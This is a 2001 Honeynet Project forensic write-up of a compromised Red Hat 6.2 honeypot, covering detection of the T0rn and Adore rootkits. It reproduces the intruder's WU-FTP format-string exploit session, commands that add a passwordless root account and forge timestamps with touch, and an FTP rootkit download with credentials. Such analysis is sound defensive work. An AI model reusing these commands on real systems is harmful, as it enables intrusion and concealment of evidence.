Intrusion
Detection Analysis
Honeynet
Project Scan 19
October 20, 2001
Document Status v. 1
Matthew M. Shannon MCSE, MCDBA
Table Of Contents
Table of contents ................................................................................................. I...........
Requirements.......................................................................................................... 17
Methodology and Tools Used...................................................................... 18
Event Summary....................................................................................................... 19
Recommendation................................................................................................... 20
Event Analysis........................................................................................................ 21
Event Sequence.................................................................................................................. 21
Findings.............................................................................................................................. 26
Appendix...................................................................................................................... 28
Recovered Files.................................................................................................................. 28
Additional Information......................................................................................................... 28
Touch() Manual Page.......................................................................................................... 33
Requirements
On September 16th a
Redhat Linux 6.2 honeypot was compromised. This is the 3rd time this system was
compromised by the same intruder. The honeynet is VMware based and uses a
modified bash to log to syslog. Syslog is remotlyremotely logging to 0.0.0.0 (remote syslog server IP
has been replaced). The compromised system has an IP of 192.168.1.102.
After successfully breaking into the box, the attacker ended up using 3
modes of connecting and running commands (some of which isare
encrypted). The attacker also tried to hide some of his edits from the MAC
times.
- Which vulnerability did the intruder
exploit?
- What ways, and in what order, did the
intruder use to connect and run commands on the system?
- How did the intruder try to hide his
edits from the MAC times?
- The intruder downloaded Rootkits, what
were they called? Are they new/custom Rootkits?
- Recover (tell how you did it too) the
Rootkits from the snort binary capture
- What does the Rootkit do to hide the
presence of the attacker on the system?
- What did you learn from this exercise?
- How long did this challenge take you?
Bonus Questions:
Based on this challenge, write an example letter of notification to the
source owner that attacked the system. Include any evidence or logs that you
feel important.
Methodology and Tools Used
In order to decode the packets and analyze the intrusion the analyst used a copy of Ethereal (www.ethereal.com). Ethereal has the ability to selectively decode TCP Streams and save them as ASCII text. This feature combined with many others made short work of analyzing the packet streams. In order to determine the types of attacks, the packet stream was also run through Snort (www.snort.org) an open-source Intrusion Detection System (IDS). Snort provided further information on the types of attacks that were attempted. Lastly, the provided Syslog file further clarified the chain of events.
Event Summary
On September 16th a Red Hat Linux 6.2 server was compromised. The
intruder made use of a well-known FTP overflow exploit
(http://www.cert.org/advisories/CA-2000-13.html). Following the success of the
exploit the intruder created two user ID’s for future access. The intruder then
reconnected using the newly created user ID’s and established a file download from a
remote server.
The purpose of a download is to obtain a
specialized toolkit used to replace key system files and create a backdoor for
easy re-entry. During the course of the attack and occupation, the intruder
proceeded to make multiple connections to and from external machines via
encrypted and unencrypted channels.
Recommendation
As part of a sound Information Security program, we recommend that an Information Security Policy be developed and used to insure strong controls, both preventive and corrective going forward. The Information Security policy would address the need to maintain accurate and timely backups, provide procedures for the timely application of system updates and patches, and remove informative banners from login prompts.
Through preparation and planning the risks associated with computer usage can be addressed and mitigated.
Event Analysis
Event Sequence
Failed Telnet
Session
|
Source Information |
|
Date/Time(Start/End): 2001-09-16 19:53:10/19:54:00 |
|
Elapsed Time: 50 Seconds |
|
IP Address: 217.156.93.166 |
|
Location Name: MIDO-IMPEX |
|
Address: S.C. MIDO IMPEX S.R.L. |
|
Address: 9 C 5 MARASESTI STREET, 5500, BACAU, ROMANIA |
|
Country: RO |
Summary
The initial connection attempts received from the intruder are puzzling at first glance. The intruder attempts a sequence of user names and passwords that do not resemble typical usernames. Our assumption is that the intruder feels he has previously compromised this system and is attempting to reconnect using previously created user names and passwords.
We find this to be true. Based on information provided by the Honeynet Project , we know that the intruder compromised this machine in the past. Therefore, his attempts to login represent formerly valid user ids on a typical compromised system.
The failed login attempt prompts him to attempt to re-establish control on the machine.
ASCII Source
ÿûÿû ÿûÿû'ÿýÿû
ÿý
ÿýÿý ÿý#ÿý'ÿü#ÿýÿûÿý
ÿû
ÿú P ÿðÿú ÿðÿú'ÿðÿúÿðÿú
38400,38400ÿðÿú' ÿðÿú XTERMÿðÿýÿûÿý!ÿü
Red Hat Linux release 6.2 (Zoot)
Kernel 2.2.14-5.0 on an i586
ÿþÿü!login: nnoobbooddyy
Password: ultravirus
Login incorrect
login: nnoobbooddyy
Password: virus
Login incorrect
login: uuuuccpp
Password: Login timed out after 60 seconds
WU-FTP Site Exec
Buffer OverFlow exploit to compromise system
|
Source Information |
|
Date/Time(Start/End): 2001-09-16 19:55:45/20:56:14 |
|
Elapsed Time: 1 Hour |
|
IP Address: 217.156.93.166 |
|
Location Name: MIDO-IMPEX |
|
Address: S.C. MIDO IMPEX S.R.L. |
|
Address: 9 C 5 MARASESTI STREET, 5500, BACAU, ROMANIA |
|
Country: RO |
|
CERT Advisory: http://www.cert.org/advisories/CA-2000-13.html |
|
RedHat Update: http://www.redhat.com/support/errata/RHSA-2000-039-02.html |
Summary
Having determined that the system has FTP running, and finding that the FTP Daemon[1] is WU-FTP, the intruder decided to try the WU-FTP 2.6 Site Exec Buffer Overflow exploit. This exploit overloads the memory buffers used by the FTP Daemon causing it to crash and present a Root[2] level access.
Root access is the highest level of access
on a Unix system. By using Root level privileges, the intruder is able to move
through the compromised system’s files at will.
After the intruder has finished navigating the file system, he creates accounts for himself, which will be the accounts he will use for future access.
The first account he creates is named “Nobody”. This account does not have root level access, and it is no different than any existing user account. The second account he creates is named “dns”. This account has root level access. The most likely reason for naming the root level account “dns” is to hide it among other system accounts, since DNS[3] is common service provided by Unix machines, it would reason that system accounts could exist named “dns”. The most likely reason for creating two accounts is to allow the intruder to telnet back to the system using the non-root ID, and then switch or “su”[4] to the root ID.
In order to hide the file edits needed to create the user accounts, the intruder uses the “touch”[5] command, which allows him to alter the dates associated with changes to the user files.
ASCII Source
220 ns1 FTP server (Version wu-2.6.0(1)
Mon Feb 28 10:30:36 EST 2000) ready.
USER ftp
331 Guest login ok, send your complete
e-mail address as password.
PASS mozilla@
230 Guest login ok, access restrictions
apply.
SITE EXEC %020d|%.f%.f|
200-00000000000000000049|0-2|
200 (end of '%020d|%.f%.f|')
SITE EXEC 7 mmmmnnnn%.f%.f%.f%.f%.f%. f%.f|%08x|%08x|
200-7
mmmmnnnn-2-2000-2000000000000000000000000000000000nan00000000-200000000000000000000000000000000000000000000000000000000000000000000000000-2-240nan|bfffdc7e|00000000|
200
(end of '7 mmmmnnnn%.f%. f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f|%08x|%08x|')
Í€1À1Û°Í€èÿÿÿ0bin0sh1..11
id;
uid=0(root) gid=0(root) groups=50(ftp)
w
4:17am up 3 days, 10:25, 0 users,
load average: 0.00, 0.00, 0.00
USER
TTY FROM LOGIN@ IDLE JCPU PCPU
WHAT
dir
bin
dev home lost+found
opt root tmp
var
boot
etc lib mnt proc
sbin usr
cd /usr
ls
X11R6
bin
dict
doc
etc
games
i386-redhat-linux
i486-linux-libc5
include
info
kerberos
lib
libexec
local
man
sbin
share
src
tmp
cd local
dir
bin
doc etc games
info lib man
sbin src
cd bin
dir
bash
bashbug
cd etc
/bin/sh: cd: etc: No such file or
directory
ls --color
[0m[01;32mbash[0m
[01;32mbashbug[0m
[mcd ..
cd etc
ls--color
/bin/sh: ls--color: command not found
ls
dir
pwd
/usr/local/etc
cd ..
cd doc
dir
cd /tmp
dir
install.log
cd /
dir
bin
dev home lost+found
opt root tmp
var
boot
etc lib mnt proc
sbin usr
cd /etc/X11/applnk
ls
Internet
System
Utilities
cd internet
/bin/sh: cd: internet: No such file or
directory
cd Internet
ls
elm.desktop
lynx.desktop
minicom.desktop
mutt.desktop
ncftp.desktop
pine.desktop
slrn.desktop
telnet.desktop
trn.desktop
pwd
/etc/X11/applnk/Internet
passwd nobody -d
Changing password for user nobody
Removing password for user nobody
passwd: Success
cd /
mkdir -p /etc/X11/applnk/Internet/.etc
mkdir -p
/etc/X11/applnk/Internet/.etcpasswd
touch -acmr /etc/passwd
/etc/X11/applnk/Internet/.etcpasswd
touch -acmr /etc
/etc/X11/applnk/Internet/.etc
passwd nobody -d
/usr/sbin/adduser dns -d/bin -u 0 -g 0
-s/bin/bash
passwd dns -d
touch -acmr /etc/X11/applnk/Internet/.etcpasswd
/etc/passwd
touch -acmr /etc/X11/applnk/Internet/.etc
/etc
Changing password for user nobody
Removing password for user nobody
passwd: Success
Changing password for user dns
Removing password for user dns
passwd: Success
cat passwd-
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
xfs:x:43:43:X Font
Server:/etc/X11/fs:/bin/false
named:x:25:25:Named:/var/named:/bin/false
postgres:x:26:26:PostgreSQL
Server:/var/lib/pgsql:/bin/bash
john:x:500:500:John:/home/john:/bin/bash
dns:x:0:0::/bin:/bin/bash
Telnet to the
compromised machine
|
Source Information |
|
Date/Time(Start/End): 2001-09-16 20:32:10/20:55:01 |
|
Elapsed Time: 23 Minutes |
|
IP Address: 217.156.93.166 |
|
Location Name: MIDO-IMPEX |
|
Address: S.C. MIDO IMPEX S.R.L. |
|
Address: 9 C 5 MARASESTI STREET, 5500, BACAU, ROMANIA |
|
Country: RO |
Summary
Now that the intruder has established valid user ids on the system, he makes a telnet connection to the machine. As predicted the intruder uses the non-root ID to gain initial access to the system, then proceeds to “su” or switch to the root ID.
Once the intruder is online and working as root, he determines that his login ID, “Nobody” is visible to other administration personnel. In order to correct this he must replace key system files and hide an evidence of his presence. To do this, the intruder makes an FTP[6] connection to a Romanian server and downloads a series of files.
ASCII Source
ÿûÿýÿý ÿý#ÿý'ÿû ÿûÿû'ÿýÿû
ÿý
ÿü#ÿýÿûÿý
ÿû
ÿú P ÿðÿú ÿðÿú'ÿðÿúÿðÿú
38400,38400ÿðÿú' ÿðÿú XTERMÿðÿýÿûÿý!ÿü
Red Hat Linux release 6.2 (Zoot)
Kernel 2.2.14-5.0 on an i586
ÿþÿü!login: nnoobbooddyy
Last login: Sun Sep 16 04:32:21 from
217.156.93.166
sh: ulimit: cannot modify limit:
Operation not permitted
sh-2.03$ ssu ud ndsns
]0;nobody@ns1: /[root@ns1 /]# ww
4:49am up 3 days, 10:57, 1 user, load average:
0.00, 0.00, 0.04
USER
TTY FROM LOGIN@ IDLE JCPU PCPU
WHAT
nobody
pts/0 217.156.93.166 4:49am
0.00s 1.02s ?
-
]0;nobody@ns1: /[root@ns1 /]# ccdd cdc
d/ /ttmmpp
]0;nobody@ns1: /tmp[root@ns1 /tmp]#
mmcc -s-
s
bash: mc: command not found
]0;nobody@ns1: /tmp[root@ns1 /tmp]# ff
ffttpp tteelleeppoorrtt..
cdc d //ddeevv//rrdd
]0;nobody@ns1: /dev/rd[root@ns1 rd]#
ffttp pt etleeploreptor.t.ggo.or.oro
mkdir sdc0
cd sdc0
ls
[A[A[A[A
teleport
gunoierul
cd new
get Zer0.tar.gz
byget copy.tar.gz
get ooty.tar.gz
bye
tar zxvf Z
./Z [1~[3~[3~cd
ls
././G 24
labutza
FTP Connection to
Romania
|
Source Information |
|
Date/Time(Start/End): 2001-09-16 20:42:06/20:42:16 |
|
Elapsed Time: 10 Seconds |
|
IP Address: 193.231.236.42 |
|
Location Name: RDSNET |
|
Address: Romania Data Systems |
|
Country: RO |
Summary
The following extract
details the FTP transaction with the Romanian FTP Server. The intruder logs into the FTP
server, and since FTP is transmitted in clear text we can see the password he
uses. It is important to note that this password is most likely used by the
intruder for access to other servers. It may also be interesting to note that
the password, ‘gunoierul’ most closely translates to “scavenger,
refuse-collector “, the significance
of this is not yet known.
Following the login, the intruder downloads
three separate files, “zer0.tar.gz”, “copy.tar.gz”, “ooty.tar.gz”. These files
represent Rootkits. Rootkits[7]
are automated scripts commonly used by intruders following a successful attack
to create backdoors and hide any trace of their compromise.
ASCII Source
220-
220-
220- H O M E
. R O
220-
220- This server is for HOME.RO members only.
220- Go to http://www.home.ro/ to register.
220-
220- No anonymous access allowed.
220-
220-
220 ProFTPD 1.2.2rc3 Server (HOME.RO
Members FTP) [193.231.236.42]
USER teleport
331 Password required for teleport.
PASS gunoierul
230 User teleport logged in.
SYST
215 UNIX Type: L8
CWD new
250 CWD command successful.
TYPE I
200 Type set to I.
PORT 192,168,1,102,4,2
200 PORT command successful.
RETR Zer0.tar.gz
150 Opening BINARY mode data connection
for Zer0.tar.gz (139711 bytes).
226 Transfer complete.
PORT 192,168,1,102,4,3
200 PORT command successful.
RETR copy.tar.gz
150 Opening BINARY mode data connection
for copy.tar.gz (265189 bytes).
226 Transfer complete.
PORT 192,168,1,102,4,4
200 PORT command successful.
RETR ooty.tar.gz
150 Opening BINARY mode data connection
for ooty.tar.gz (14847 bytes).
226 Transfer complete.
QUIT
221 Goodbye.
SSH Connection
|
Source Information |
|
Date/Time(Start/End): 2001-09-16 20:51:58/21:06:58 |
|
Elapsed Time: 15 Minutes |
|
IP Address: 217.156.93.166 |
|
Location Name: MIDO-IMPEX |
|
Address: S.C. MIDO IMPEX S.R.L. |
|
Address: 9 C 5 MARASESTI STREET, 5500, BACAU, ROMANIA |
|
Country: RO |
Summary
The intruder completes an SSH connection to the compromised system. SSH[8] or Secure Shell is a encrypted protocol, therefore limited information is readily available. We are able to obtain the SSH Client tool and protocol version used by the intruder, SSH-1.5 on the PuTTY client. It is the analyst’s belief that the SSH session can be decrypted. However, the analyst would require the private key of the compromised machine and additional hours to work through the algorithm.
Without decryption, our best guess is that this is when the intruder executed the root kits and re-configured the server, which would account for the 15 minutes of elapsed time.
ASCII Source
SSH-1.5-1.2.27
SSH-1.5-PuTTY
[1]ŒÌ”~’ê¾e
%
ÔÃÓO¼c©÷“(r¯å†nt³²
. ˜èb¯$uªP½
KžíßÒ.
ƒHúÔ`à“|¤]ÚT…%U÷ðiFtÊc
/!‑—c(T(¹Q
Findings
- Which vulnerability did the intruder
exploit?
- The intruder exploited the WU-FTP
Buffer OverFlow Exploit. This exploit has been detailed on multiple
websites. Further information can be found at:
1.
Cert Advisory:
http://www.cert.org/advisories/CA-2000-13.html
2.
RedHat.com: http://www.redhat.com/support/errata/RHSA-2000-039-02.html
- What ways, and in what order, did the
intruder use to connect and run commands on the system?
- The intruder used the following
connect and run commands on the compromised system.
i.
FTP
ii.
Telnet
iii.
SSH
- How did the intruder try to hide his
edits from the MAC times?
- The intruder tried to hide his edits
from the MAC times by using the touch command.
- The intruder downloaded Rootkits, what
were they called? Are they new/custom Rootkits?
- According to the FTP Log, the intruder
downloaded three distinct files. However during the analysis we were
unable to recreate the individual files, but were able to recreate the
contents of the following files.
i.
T0rn Rootkit
ii.
Adore Rootkit
(Version 1 and 2)
iii.
Tls archive(?)
The contents of the download consisted of at least two root kits, the
T0rn Rootkit and the Adore Rootkit(Versions 1 and 2). The remaining archive,
labeled “tls” contained Perl scripts that could be considered part of a
Rootkit. Based on reconnaissance done on the Rootkits, they have been around
for considerable time, however the CVS file included in one of the archives
suggest some modifications within the last two years.
- Recover (tell how you did it too) the
Rootkits from the snort binary capture.
- All Rootkits are available in the
appendix of this document. They were recovered by extraction from the Packet
Dump(newdat3.log) using Ethereal (http://www.ethereal.com)
and packet capture and browsing tool.
i.
T0rn kit
ii.
Adore kit
iii.
TLS kit
- What does the Rootkit do to hide the
presence of the attacker on the system?
- Most Rootkits will make corrections
and changes to individual files that are used during the login process.
These changes remove the Trusted Path and allow the intruder elevated
access. The Adore Rootkit
however, makes use of LKM or loadable kernel modules[9]
to dynamically hide the intruder’s presence.
- What did you learn from this exercise?
- The exercise demonstrated the value of
good backup and a sound patch/update policy. The WU-FTP compromise itself
is many years old, and a patch is readily available.
- How long did this challenge take you?
- Total Hours 8
i. 3 hours decompiling the packet stream.
ii. 3 hours documenting findings.
iii. 2 hours searching for information on the discovered Rootkits.
Appendix
Recovered Files
|
Rootkit |
Folder |
File |
|
T0rn |
.t0rn |
sharsed |
|
Shdcf2 |
||
|
shhash |
||
|
shhk |
||
|
Shhk.pub |
||
|
shrs |
||
|
shsml |
||
|
Adore Version 1 |
adr |
Adore.c |
|
Adore.h |
||
|
Ava.c |
||
|
Cleaner.c |
||
|
cnfad |
||
|
Dummy.c |
||
|
Libinvisible.c |
||
|
Libinvisible.h |
||
|
Makefile.gen |
||
|
Pass |
||
|
Rename.c |
||
|
stad |
||
|
Adore Version 2 |
Adr2 |
Adore.o |
|
Ava |
||
|
Cleaner.o |
||
|
stad |
||
|
Tls |
tls |
lgstrip |
|
Ncsd.init |
||
|
patch |
||
|
vrssb |
||
|
vrssnf |
||
|
vrssnk |
Additional Information
't0rnkit' Rootkit
REPRINTED FROM CERT
Since May of 2000, we have observed
more than six different versions of a Rootkit being called 't0rnkit', or 'tornkit'.
Rootkits are not a new idea and have been employed by intruders for several
years. The important thing here is to be aware of the widespread nature of this
particular activity and to insure compromised hosts are recovered using
appropriate procedures and techniques. Various versions of 't0rnkit' include an
installation script which attempts many of the following things
- killing syslogd
- alerting the intruder to remote logging facilities by
searching the syslog configuration file for the '@' character
- storing an intruder-supplied password for trojan horse
programs in /etc/ttyhash
- installing a trojan horse version of sshd configured to
listen on an intruder-supplied port number with intruder-supplied SSH keys
stored in a directory named '/usr/info/.t0rn'. The trojan horse binary is
installed as /usr/sbin/nscd and started using '/usr/sbin/nscd -q'. The
same command is appended to /etc/rc.d/rc.sysinit to start the daemon at
system boot time.
- locating trojan horse configuration files to hide file
names, process names, etc. in a directory named '/usr/src/.puta'
- replacing the following system binaries with trojan
horse copies
- /bin/login
- /sbin/ifconfig
- /bin/ps
- /usr/bin/du
- /bin/ls
- /bin/netstat
- /usr/sbin/in.fingerd
- /usr/bin/find
- /usr/bin/top
- installing a password sniffer, sniffer logfile parser,
and system logfile cleaning tool in /usr/src/.puta
- attempting to enable telnet, shell, and finger in
/etc/inetd.conf by removing any leading '#' comment characters
- alerting the intruder about the word 'ALL' appearing in
/etc/hosts.deny
- some versions attempt to patch rpc.statd and wu-ftpd
with versions that are not vulnerable.
- restarting /usr/sbin/inetd
- starting syslogd
Most versions also include a trojan
horse version of tcp_wrappers in RPM format named 'tcpd.rpm'. There is strong
evidence that 't0rnkit' is undergoing active development at the time of this
writing, so the exact composition of the Rootkit may vary from this description
over time.
Adore Rootkit
Reprinted from (http://www.linuxsecurity.com/resource_files/host_security/lkm.htm)
Recently, there has been a lot of press
about adore. Well, the worm adore not the LKM adore. So I decided to look into
the LKM adore(everyone else has looked at the worm). BTW, if want to download
adore go to http://packetstorm.securify.com/filedesc/adore-0.34.html.
Adore is a Linux LKM Rootkit. It is easy
to install and only requires a few minor adjustments when configuring. Adore
can be installed with a default configuration or the user can make changes to
some of the code. The readme file recommends that the user change the settings
for ELITE_CMD and for HIDDEN_PORT. When you run ./configure, adore asks you for
a password. This is for the backdoor port (hence, change the HIDDEN_PORT) If
you want more information on the install you will have to download it. I ran
the default installation, which consisted of running./configure and make. After
running make, you will see two files (ava, startadore). In order for adore too
execute you have to run startadore. Once you run startadore the user can then
run ava. Table 4 is the output from ./ava.
Usage:
./ava {h,u,r,R,i,v,U} [file, PID or dummy (for U)]
h hide file
u unhide file
r execute as root
R remove PID forever
U uninstall adore
i make PID invisible
v make PID visible
Table
4. Ava output
Table
4 shows us the options that adore provides to us. I will not cover each switch
and what it does only because it does not help us detect this Rootkit. Now that
we have covered the basics of adore (LKM) lets look at how we detect adore and
other Rootkits.
Many Rootkits hide processes,
directories, files and even connections. But many of them do so by modifying
the source code of binaries such as ps, df, netstat, top and lsof. There are a
couple of ways to detect these types of Rootkits (i.e. t0rn):
1)
md5 checksums
2)
Compiling these binaries from a known good source (i.e. cd-rom, disk).
3)
Some Rootkits have a default port that an administrator can focus in on.
4)
Running a program such as chkRootkit
Many
of the techniques used to detect Rootkits like t0rn are not effective against
LKM Rootkits (chkRootkit can detect some of them). Since LKM Rootkits access
the kernel, they can hide processes, connections, directories and files without
modifying the binaries. MD5 checksums become useless because there are no files
being modified. This means the checksums will not change. Checking ports MIGHT
be an option BUT that only tells you that you have been “rooted”.
Well, how can I detect these monsters?
Easy. There is a program I highly recommend to everyone concerned with LKM
Rootkits. This program is called KSTAT. You can find it at
http://s0ftpj.org/en/site.html.
KSTAT works by checking the memory (/dev/kmem) for information about the
host(including LKMs). Want to see what kstat looks like? Good. Here is the
output for kstat:
Usage:
kstat [-i iff] [-P] [-p pid] [-M] [-m addr] [-s]
-i iff may be specified as 'all' or as name
(e.g. eth0)
displays info about the queried interface
-P displays all processes
-p pid is the process id of the queried task
-M displays the kernel's LKMs' linked list
-m addr is the hex address of the queried
module
displays info about the module to be
found at addr
-s displays info about the system calls'
table
As
you can see, kstat provides a person with many options for detecting these
Rootkits. Lets go through some of the options and from these options we will
learn how to detect the following LKM Rootkits:
1)
knark
2)
adore
3)
rkit
BTW,
if there’s any Rootkits I have omitted please let me know and I will update the
paper. : ) Kstat –s seems to be the best way to detect LKM Rootkits. The other
options are really great, but –s works all the time. Here is an output from
kstat –s:
SysCall Address
sys_exit 0xc0117ce4
sys_fork 0xc0108ebc
sys_read 0xc012604c
sys_write 0xc0126110
sys_open 0xc0125c10
sys_close 0xc0125d60
sys_waitpid 0xc0117ff8
sys_creat 0xc0125ca4
sys_link 0xc012de60
sys_unlink 0xc012dc90
sys_execve 0xc0108f18
sys_chdir 0xc01254a0
sys_time 0xc01184b4
sys_mknod 0xc012d77c
sys_chmod 0xc01256e4
Table 5. kstat –s
Table
5 is not a complete output from kstat –s, but it does give us an idea as too
what the output looks like. Remember –s provides us with a picture of the
sys_call_table. Keep this information fresh as we will revisit this again
later.
Kstat –P is another switch that is very
effective. Kstat -P shows us all of the processes running at that time. This
includes the processes hidden by an LKM Rootkit.
Table
6 is an example of kstat –P:
PID PPID
UID GID COMMAND
1
0 0 0 init
2
1 0 0 kflushd
3
1 0 0 kupdate
4
1 0 0 kpiod
5
1 0 0 kswapd
6
1 0 0 mdrecoveryd
241 1
1 0 portmap
256 1
0 0 lockd
257 256
0 0 rpciod
266 1
0 0 rpc.statd
280 1
0 0 apmd
331 1
0 0 syslogd
Table
6. kstat –P
When
I first ran this program I wasn’t sure kstat could do what it said but…it
proved my doubts WRONG. Here is what I did to verify this switch. I used ava -i
241(portmap). I then ran kstat –P. As you can see from table 6, portmap(bold) shows up. I then ran
ps-ef(Table 7)and could not find it. Lsof also did not show it. Table 7 is the
output from ps –ef:
UID PID
PPID C STIME TTY TIME CMD
root 1
0 0 Mar30 ? 00:00:06 init [3]
root 2
1 0 Mar30 ? 00:00:00 [kflushd]
root 3
1 0 Mar30 ? 00:00:00 [kupdate]
root 4
1 0 Mar30 ? 00:00:00 [kpiod]
root 5
1 0 Mar30 ? 00:00:00 [kswapd]
root 6
1 0 Mar30 ? 00:00:00 [mdrecoveryd]
root 256
1 0 Mar30 ? 00:00:00 [lockd]
root 257
256 0 Mar30 ? 00:00:00 [rpciod]
root 266
1 0 Mar30 ? 00:00:00 rpc.statd
root 280
1 0 Mar30 ? 00:00:00 /usr/sbin/apmd -p 10 -w 5 -W
-s
root 331
1 0 Mar30 ? 00:00:00 syslogd -m 0
root 340
1 0 Mar30 ? 00:00:00 klogd
nobody 354
1 0 Mar30 ? 00:00:00 identd -e -o
nobody 357
354 0 Mar30 ? 00:00:00 identd -e -o
nobody 359
357 0 Mar30 ? 00:00:00 identd -e -o
nobody 360
357 0 Mar30 ? 00:00:00 identd -e -o
nobody 361
357 0 Mar30 ? 00:00:00 identd -e -o
daemon 372
1 0 Mar30 ? 00:00:00 /usr/sbin/atd
root 386
1 0 Mar30 ? 00:00:00 crond
root 404
1 0 Mar30 ? 00:00:00 inetd
root 418
1 0 Mar30 ? 00:00:00 lpd
root 462
1 0 Mar30 ? 00:00:00 sendmail: accepting
connections
root 477
1 0 Mar30 ? 00:00:00 gpm -t ps/2
root 491
1 0 Mar30 ? 00:00:01 httpd
xfs 531 1 0 Mar30 ? 00:00:00 xfs -droppriv -daemon -port
-1
root 571
1 0 Mar30 tty1 00:00:00 login -- root
root 572
1 0 Mar30 tty2 00:00:00 /sbin/mingetty tty2
root 573
1 0 Mar30 tty3 00:00:00 /sbin/mingetty tty3
root 574
1 0 Mar30 tty4 00:00:00 /sbin/mingetty tty4
root 575
1 0 Mar30 tty5 00:00:00 /sbin/mingetty tty5
root 576
1 0 Mar30 tty6 00:00:00 /sbin/mingetty tty6
nobody 4290
491 0 Apr01 ? 00:00:00 httpd
nobody 4291
491 0 Apr01 ? 00:00:00 httpd
nobody 4292
491 0 Apr01 ? 00:00:00 httpd
nobody 4293
491 0 Apr01 ? 00:00:00 httpd
nobody 4294
491 0 Apr01 ? 00:00:00 httpd
nobody 4295
491 0 Apr01 ? 00:00:00 httpd
nobody 4298
491 0 Apr01 ? 00:00:00 httpd
nobody 4299
491 0 Apr01 ? 00:00:00 httpd
root 8073
571 0 Apr02 tty1 00:00:00 -bash
root 10659
8073 0 11:24 tty1 00:00:00 ps -ef
Table 7. ps –ef output
There
are two other switches we will go over, they are kstat –p and kstat –M. First,
lets look at kstat –p. kstat –p gives us more information about a process. In
order to run kstat –p you will need to provide a process id. For example: kstat
–p 241. This checks process 241 (portmap) and provide an output. Sometimes it
can provide us with more information about a LKM Rootkit. TABLE 8 is the output
from kstat –p 241:
Name: portmap
State: S (sleeping)
Pid: 241
Ppid: 1 (init)
Uid: 1
1 1 1
Gid: 0
0 0 0
Flags: PF_FORKNOEXEC PF_SUPERPRIV
Crucial
Capabilities Check
Open
Files
0
CHAR /dev/null
1
CHAR /dev/null
2
CHAR /dev/null
3
0.0.0.0:111 0.0.0.0:0
4
0.0.0.0:111 0.0.0.0:0
7
FIFO ///
8
FIFO ///
21
CHAR /dev/null
Table
8. kstat –p output
Finally,
lets look at kstat –M. Under normal conditions an administrator can perform
lsmod or more /proc/modules and find out what modules he/she are running. When
a machine has been “rooted” you can’t trust lsmod for accurate information.
Kstat –M will catch many of the basic LKM Rootkits that I have tested. Kstat –M
list all of the modules loaded. I have seen it where kstat –M did list anything
for knark, but…nothings perfect. The output from kstat –M is similar to lsmod.
Detecting
knark, adore and other LKM Rootkits
So
far we have covered a lot of material about LKM’s, Rootkits and kstat. Now we
are going to put all of that together and learn how to detect some of the LKM
Rootkits available today.
The
first LKM Rootkit we want to look at is knark. Knark is probably the best-known
LKM Rootkit and one of the best written as well. Detecting it with kstat is
fairly straight up as well. Remember Table 5? Well in order to detect a knark
LKM Rootkit you will need to run kstat –s. Once ran you need to look for the
following:
sys_fork 0xc284652c WARNING! Should be at 0xc0108c88
sys_read 0xc2846868 WARNING! Should be at
0xc012699c
sys_execve 0xc2846bb8 WARNING! Should be at
0xc0108ce4
sys_kill 0xc28465d4 WARNING! Should be at
0xc01106b4
sys_ioctl 0xc2846640 WARNING! Should be at
0xc012ff78
sys_settimeofday
0xc2846a8c WARNING! Should be at 0xc0118364
sys_clone 0xc2846580 WARNING! Should be at
0xc0108ca4
Table 9. knark detection
Lets
take a closer look at this table and see what all of this mess means to us.
First, we see that there are seven (7) sys_call_table entries that have
warnings. Lets look at sys_settimeofday, here we see that currently it is
making it’s home in memory at 0xc2846a8c. kstat –s tells us that this is wrong
and it should be at 0xc0118364. When knark
is installed it changes the sys_call_table and the memory locations where
you can find: sys_fork, sys_read, sys_execve, sys_kill, sys_ioctl,
sys_settimeofday and sys_clone. This is how you could detect knark. Knowing
which sys_call_table entries have been changed could help you identify the
actual Rootkit itself. Knark changes seven(7) total. After running kstat –s,
the next step would be to run ps-ef along with kstat –P and compare the two. If
the are any differences in the two you can then take the correct action. Keep
in mind that memory locations can change from box to box. As I said earlier,
detecting LKM Rootkits with kstat is quite simple.
Lets look at adore. Table 10 will show
us what adore changes:
sys_fork 0xc4051428 WARNING! Should be at
0xc0108c88
sys_write 0xc4051590 WARNING! Should be at
0xc01269b8
sys_close 0xc405163c WARNING! Should be at
0xc01264a4
sys_kill 0xc40514d0 WARNING! Should be at
0xc011060c
sys_mkdir 0xc405172c WARNING! Should be at
0xc012e540
sys_clone 0xc405147c WARNING! Should be at
0xc0108ca4
sys_getdents 0xc40512a4 WARNING! Should be at 0xc013022c
Table
10. Adore detection
Adore
changes seven (7) entries as well (just like knark). Knark and adore only
change three (3) of the same sys_call_table entries. They are sys_fork,
sys_kill, sys_clone. This is a good thing because it allows us the ability to
detect each one separately. Again, once this has been done, the administrator
can then run kstat –P and ps-ef and compare the two to figure out what
processes are running and hiding.
The
last Rootkit we will look at is rkit. This Rootkit does not hide itself as well
as the other two do. As a matter of fact it only changes sys_setuid and can be
found using kstat –M.
Conclusion
LKM Rootkits can make a system
administrator’s life a nightmare. They are hard to detect, but using tools like
kstat and understanding what the Rootkit changes can make our life easier.
Since tools like kstat are available, it would help systems administrators if
they took a “picture” of the sys_call_table after a fresh install and any
upgrades. This will help in identifying the good from the bad. Although I have not had the time, one could
write a shell | perl script to automate this process and check weekly, daily,
every 10 minutes or whatever.
Resources
Kstat
http://s0ftpj.org/en/site.html
Knark
http://members.prestige.net/tmiller12/papers/KNARK.htm
LKM
Rootkits
http://packetstorm.securify.com/groups/thc/LKM_HACKING.html
Author
Toby
Miller is a GIAC Certified Analyst and MCP. He is currently working towards his
CISSP and RHCE. Toby has contributed to 2 books, written papers for SANS,
Securityfocus, performs Risk Assessments and runs a lab for a living. For
entertainment Toby likes to analyze exploit signatures on his home network.
Toby can be reached at tmiller@va.prestige.net.
Touch() Manual Page
The following is a copy of the online manual page for the touch command.
touch - change file timestamps
touch [OPTION]... FILE...
or : ../src/touch [-acm] MMDDhhmm[YY] FILE... (obsolescent)
- Update the access and modification times of each FILE to the current time.
- -a
- change only the access time
- -c
